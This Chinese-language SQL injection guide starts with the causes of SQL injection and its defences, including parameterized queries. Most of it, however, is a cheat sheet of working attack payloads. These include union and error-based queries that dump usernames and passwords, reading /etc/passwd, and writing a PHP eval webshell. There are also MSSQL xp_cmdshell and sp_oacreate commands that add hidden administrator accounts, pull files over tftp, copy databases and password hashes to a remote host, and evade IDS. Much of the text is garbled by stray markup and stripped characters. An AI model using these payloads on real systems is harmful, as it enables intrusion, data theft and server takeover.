SQL注入
Table of Contents
什么是sql注入?
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵,对于sql注入可以把它归为一句话:所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法
sql注入的原理:
概述:针对SQL注入的攻击行为可描述为:在与用户交互的程序中(如web网页),非法用户通过可控参数注入SQL语法,将恶意sql语句输入拼接到原本设计好的SQL语句中,破坏原有SQL语法结构,执行了与原定计划不同的行为,达到程序编写时意料之外结果的攻击行为,其本质就是使用了字符串拼接方式构造sql语句,并且对于用户输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行,从而造成了sql注入
有关sql注入产生的原理要满足以下条件:
程序编写者在处理程序和数据库交互时,使用了字符串拼接的方式构造SQL语句
不安全的数据库配置,比如对查询集不合理处理,对sql查询语句错误时不当的处理,导致其错误信息暴露在前端
过于信任用户在前端所输入的数值,没有过滤用户输入的恶意数据,且未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全
sql注入的条件:
用户对sql查询语句参数可控
比如这是一条前端URL:https://blog.csdn.net/aboutus.php?id=1
其后台sql语句:$sql=“SELECT 123 FROM abc WHERE id=’1 ‘” 这条语句是采用拼接方式去对数据库内容进行查询的,而且并未对用户在前端输入的内容做过滤,并且用户对id这个参数可控,本来程序员设计这条查询语句是希望通过它去快速查询数据库中abc表的某个内容并且回显到前端页面来的,但是攻击者通过单引号’ 闭合数据库查询语句,并且构造这样的恶意url:https://blog.csdn.net/aboutus.php?id=-1 ‘ select password from admin#去查询admin 用户的密码,而非查询预先程序员所设计好的数据内容。
原本程序要执行的SQL语句,拼接了用户输入的恶意数据
sql注入的危害:
数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,脱取数据库中的数据内容(脱库),可获取网站管理员帐号、密码悄无声息的进行对网站后台操作等。
网页篡改:通过操作数据库对特定网页进行篡改,可严重影响正常业务进行。
网站被挂马:将恶意文件写入数据库,修改数据库字段值,嵌入网马链接,进行挂马攻击。
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
文件系统操作:列取目录、读取、写入shell文件获取webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
执行系统命令:远程命令执行,可破坏硬盘数据,瘫痪全系统。
sql注入的防御措施
对于SQL注入的防御,我们最常用的就是使用过滤用户输入的恶意语句,或者对其进行转义等处理,但这些方法都不能完全的杜绝sql注入,就如使用过滤我们很容易就可以对它进行绕过,如使用注释,编码等方式,所以这些方法都不能从根源性防治sql注入,所以对于sql注入的防御我把它归为下面三类防御:
- 1.使用参数化查询,检查变量数据类型和格式
在使用参数化查询的情况下,数据库不会将参数的内容视为SQL执行的一部分,而是作为一个字段的属性值来处理,这样就算参数中包含破环性语句(or ‘1=1’)也不会被执行,也就是说用户输入的变量不是直接嵌入到SQL语句中的,而是通过参数来传递这个变量的,是在数据库完成sql指令的编译后才套用参数运行,那么这样就可以有效的防治SQL注入式攻击
简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑,与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量
- 2.采用sq语句预编译和绑定变量
采用PreparedStatement对SQL进行了预编译,如将sql语句:“ SELECT * FROM employees WHERE name = ?”
预先编译好,即sql引擎会预先进行语法分析,产生语法树,生成执行计划;这样后面无论你输入什么参数,如(union,select)都不会影响该sql语句的语法结构了。
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
}
PreparedStatement为什么能防止SQL注入?
因为PreparedStatement会对SQL进行了预编译,预处理语句方法会先解析SQL语句,然后通过传入不同的参数值来执行SQL,不需要每次执行都解析SQL语句,而且预处理查询执行的路径比常规查询短,所以预处理语句方法效率更高;预处理语句在SQL语句解析协议上避免将参数当做SQL命令执行,仅仅当做值传递,所以可以很好的避免SQL注入。
- 3.增强SQL数据交互点的过滤处理
如不能采取使用参数化查询和预编译变量,那最好就是加强对SQL数据交互点的过滤
可参考以下关键字进行过滤:
每个提交信息的客户端页面,通过服务器端脚本(JSP、ASP、ASPX、PHP等脚本)生成的客户端页面,提交的表单(FORM)或发出的连接请求中包含的所有变量,必须对变量的值进行检查。过滤其中包含的特殊字符,或对字符进行转义处理。特殊字符包括:
SQL语句关键词:如 and 、or 、select、declare、update、xp_cmdshell,union;
这里举例部分SQL关键字,需要更详细的了解的可自行网上查资料
当然,sql注入还有更多的防范措施,可以配合上面三类再针对以下几点进行防范
1.不要随意开启生产环境中 Webserver的错误显示,这样一是容易暴露网站的非公开信息,(如web根目录),二是容易造成报错注入,如非法入侵者可通过extractvalue、updataxml 等函数对网站进行报错sql注入
2.做好数据库帐号权限管理,只给访问数据库的web应用功能所需的最低权限帐号,不要随意使用root账号
3.严格加密处理用户的机密信息,这样就算攻击者通过sql注入的到数据库信息,短时间也无法进行解密读取
4.使用WAF等专业的防护软件系统,毕竟人力有限,总不可能24小时盯着数据库等关键服务器,这时候,waf等防护硬软件将会是我们的第一道防线
判断是否存在注入
SQL注入类型可分为
- 盲注
- 布尔盲注:只能从应用返回中推断语句执行后的布尔值
- 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
- 报错注入:应用会显示全部或者部分的报错信息
- 堆叠注入:有的应用可以加入
;
后一次执行多条语句
sql文件读写
注意可能无法读写文件,可以在命令行使用sql语句查看
mysql>show global variables like "secure%";
如果没有,在my.ini添加
secure_file_priv=''
值为NULL表示禁止限制操作
值为某一目录,则只能操作该目录下的文件
没有值则表示不对读写文件进行限制
?id=-1 union select 1,2,load_file("/etc/passwd"),4,5,6,7,8,9,10,11,12,13,14,15
//window 用 load_file('c:\\boot.ini'),
写文件常使用如下两种方法
?id=-1 unionselect 0x313233 into outfile 'D:/1.txt'
?id=-1 unionselect 0x313233 into dumpfile 'D:/1.txt'
一句话
<?php @eval($_POST[“cmd”]);?>
@eval( );执行系统命令
$_POST[] 获取参数值
$_GET[]
$_REQUEST[]
?id=-33 union select 1,2,"<?php eval($_POST[cmd]);?>",4,5,6,7,8,9,10,11,12,13,14,15 into outfile '/var/www/html/test.php'
数值型
1.URL输入 and 1=1 / and 1=2 回显页面不同(整形判断)
如果页面运行错误,则说明此 Sql 注入为数字型注入。
因为当我们输入 and 1=1时,后台执行 Sql 语句:
如:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
语句被带进数据库进行查询,虽然没有语法错误但是逻辑判断为假,所以返回错误,这时候我们就可以基本确定页面存在sql注入。
字符型
如这是一条后台语句:
$sql=“SELECT * FROM users WHERE id='1 ’ LIMIT 0,1”;
可以看出,id被单引号包裹住
如果后台语句是:GET_id=’$id’
这样子传
那么 ?id=’1’ 1
就是$id 里面的值 这时候要注入可以这样
?id=’ 1 然后在id的引号里面构造攻击语句 ’
如?id=1' union select 1,2,3,4 --+'
// 这条语句的作用是联合查询第1,2,3,4列, 空格–+的作用是注释后面的内容
?id=’ 1 然后在id的引号里面构造攻击语句 ’
?id=1' union select 1,2,3,4 --+' // 这条语句的作用是联合查询第1,2,3,4列, 空格--+的作用是注释后面的内容
如 在URL地址栏输入?id=1’ 这时候 1后面的单引号把原本语句的一对单引号隔开了,所以页面会出现异常或者报错
但这时候,如果我们在1’后面加–+注释掉它后面的单引号( ?id=’1 ‘ --+ ’)
,让它语句后台的语句一致,这样子就不会报错了,同理,也可用这个方法来验证是不是属于字符型sql注入
正常的URL:http://127.0.0.1/sqli-labs-master/?id=1
1左右是有单引号包裹住的 我们在URL栏输入原本语句的单引号不会显示,如果我们输入的是这样子:?id=1’ --+
而后台会这样子显示 : id=’1’ --+’
所以我们可以这样子 ?id=1’
这里写攻击语句 --+?
本来Id=’ ’ 是这样子的
后来我们在id=’ 在里面插入语句 ’
如果我们输入I’ 那么id是这样子的 id=’ 1’ ’ 这样子语句就形成不了闭合了,会报错,如果报错了,证明这条语句成功被带进数据库查询
这时候我们可以这样子 id=’ 1 ‘ –+ ’ –+ 把后面的单引号注释掉了,这样子就会形成闭合
注入手法
联合查询
?id=-1’ union select 1,2,3 --+ 这样子就可以形成一条带进数据库的查询语句了
联合查询要构造假的 所以1前面一定要加-号,因为有两条select语句,要用-号或者把1改为0把前面的注释掉
就是有两条select查询一句,要前面的那条错误无法使用,后面的注入一句才能显示这样子
当前面的id=1错误会执行后面的id=2,二后面的id=2错误会执行前面的id=1
或者=0也行
如果注入页面没有反应,无论是字符型还是数字型,都可以在前面加-号或者改为0试试
sql数值型注入
概述:当输入sql语句的参数为整形时,如果存在注入漏洞,可以认为是数字型注入,多存在于id,年龄,页码等地方
检测方式:
URL输入 and 1=1 / and 1=2 回显页面不同(整形判断)
例如以sqli-labs 靶场为例,and 1=1,语句逻辑正常,所以页面没有异常,接着我们尝试用 and 1=2 试试,看看页面是否会发生异常
不难看出,当我构造and 1=2时,页面发生异常,我们都知道,1是等于1的,这是正常的逻辑,但1=2时,我们会很自然会觉得它是错的,因为1是不可能等于2的,这是很明显的逻辑错误,相同的,数据库也是人开发出来的,也被设计为这个理念,当数据库遇到逻辑上的错误时,无法进行数据查询,这也就无法正常的把查询后的数据回显到前端页面来,前端由于接收不到数据库传输过来的数据,所以页面也就会产生异常了
当我们在URL参数后面构造 and 1=1 正常 and1=2页面错误,基本可以确定是数字型注入了
因为当我们输入 and 1=1时,后台执行 Sql 语句:
如:select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
语句被带进数据库进行查询,虽然没有语法错误但是逻辑判断为假,所以返回错误,这时候我们就可以基本确定页面存在sql注入。
sql数值型注入利用方式
当我们确定页面存在显示位,接着我们可通过构造联合查询进行注入
联合查询的优点:查询方便 速度很快,缺点 必须要有显示位
如这是一条后台语句:$sql=“SELECT * FROM users WHERE id=1 LIMIT 0,1”;
如果后台语句是:GET_id=$id这样子传
那么 ?id=1 1就是$id 里面的值 这时候要注入可以这样
?id=1 然后在id的后面构造攻击语句
?id=-1 union select 1,2,3,4 --+ // 这条语句的作用是联合查询第1,2,3,4列, 空格--+的作用是注释后面的内容,负号是为了让前面的联合查询产生错误,从而使用后面的联合查询语句
攻击流程
- 1.判断注入点
- 加and 1=1 页面正常,and 1=2 页面异常或者报错,如果页面报错,说明后台数据库处理了我们输入的数据,那么能极有可能存在数值型sql注入
- 2.猜字段数
未编码前:http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4#
编码后:http://127.0.0.1/sqli-labs/Less-2/?id=1%20order%20by%204#
其中URL中的%20是空格,因为我们通过URL输入网址访问网址时,浏览器会对URL进行编码处理,#号为注释
在URL链接后面添加语句order by 4 (数字任意,主要是为了确定字段数,可使用二分法猜测),根据页面返回结果,来判断站点页面中的字段数目,得知查询结果中该页面不存在四列,所以页面也就报错了
- 3.确定显示位
进行联合查询判断显示位时,要在?id=1 1的前面加-号或者改为0让前面的select语句查询为空错误,然后采用后面的select语句去查询
我们可以这样子:
?id=-1 union select 1,2,3 –+ 这样子就可以形成一条带进数据库的查询语句了
联合查询要构造假的 所以1前面一定要加-号,或者是?id=1 and 1=2 构造前面的查询语句错误,继而使用后面的select语句,因为有两条select语句,要用-号或者把1改为0把前面的注释掉
就是有两条select查询一句,要前面的那条错误无法使用,后面的注入一句才能显示这样子
当前面的id=1错误会执行后面的id=2,二后面的id=2错误会执行前面的id=1
下图很清晰的诠释了该过程
- 4.通过显示位进行信息收集
经常搜集的数据库信息参考
1.找一下数据库名,当前的登录用户(是不是root),如果为root的话,且知道我在个绝对路径,可以直接通过select 语句写入一句话get shell
2.查看数据库的版本,看一下是不是大于5.0版本的,如果大于的话,
就可以利用系统自带的库,information_schema 这个库去查询需要的数据了,存储着mysql的所有数据库和表结构信息
3.查看数据库的运行系统,是linux还是windows,然后再查看数据库的安装路径
下面举一个小栗子
http://127.0.0.1/sqli-labs/Less-2/?id=-1%20union%20select%201,database(),user()#
通过在显示位构造恶意语句可以对数据库进行非法的操作,如数据查询,写入文件,脱裤(脱库)等危险操作,这也是为什么sql注入普遍被评为高危漏洞的缘故了
又比如:?id=-1’ union select 1,2,3 --+
,然后页面显示2,2就是显示位,可以在2处去构造攻击语句
URL地址栏里的注释要用 –+
我们可以利用内置函数爆数据库信息,下面有详细的sql内置函数,里面详细的记录了常用的sql函数及常用sql注入payload 语句
- 常见sql注入函数
user():用户名
version():mysql版本
database():数据库名
@@datadir:读取数据库路径
@@plugin_dir:读取插件位置
select load_file(读文件的路径)
length() =>计算字符串长度
hex() =>字符转换为16进制
@@basedir MYSQL获取安装路径
select current_user() 查询当前用户
select system_user() 查看系统用户
@@version_compile_os:操作系统版本
into outfile:写文件{select ‘需要写的文件’ into outfile ‘目录下’}
group_concat(列名):会把这一列中所有的内容在一行中以,隔开输出
concat(str1,str2,…):没有分割符地连接字符串,显示数据(数据合并)
select ‘123123’ into outfile ‘d://study/1.txt’;(将123123添加至d盘study中新建1.txt文件中)
group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分割每一条数据,显示数据
concat_ws(separator,str1,str2):用分隔符连接两个字段的字符串
group_concat(concat_ws(seperator,str1,str2)):将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔
- sql注入payload 语句
1.union 联合查询
查询当前数据库名
报错的语法(如and1=2)+ union select 1,database()
查询当前数据库版本
union select 1,version()
查询当前数据库 表名
1.union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
2.查询当前数据库所有表,并且拼接在一行显示
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3.查询当前数据库users中表所有字段,并且拼接在一行显示
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
4.查询当前数据库users中表username和password字段中的信息,并且拼接在一行显示
union select 1,group_concat(username,0x3a,password),3 from users--+
2.联合查询报错型注入
1.加单引号报错,然后在回显点显示当前数据库所有表,并且拼接在一行显示
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
2.爆字段
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
3.爆值
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
二、updatexml报错注入
1.爆数据库版本信息
?id=1' anandd(双写and绕过waf) updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) --+
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
爆库
updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
- sql注入payload 语句
1.判断有无注入点 ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的 ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name FROM logintable-
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–
看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–
看_blank>数据库连接账号的权限,返回正常,证明是 _blank>服务器角色sysadmin权限。
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–
判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(Select System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–
看xp_blank>_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–
xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:inetpubwwwrootxplog70.dll–
反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add–
创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w “默认Web站点” -v “e”,”e:”–
访问属性:(配合写入一个[webshell](https://www.exehack.net/tag/webshell "【查看含有[webshell]标签的文章】"))
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧::%5c= 或者把/和 修改%5提交
and 0<>(select top 1 paths from newtable)–
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 爆到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 爆到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来爆出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查询构造:
Select * FROM news Where id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名 ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>[漏洞](https://www.exehack.net/tag/%e6%bc%8f%e6%b4%9e "【查看含有[漏洞]标签的文章】")建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:
1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:webindex.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c: *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– (xp_blank>_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2:and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));–
语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–
把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
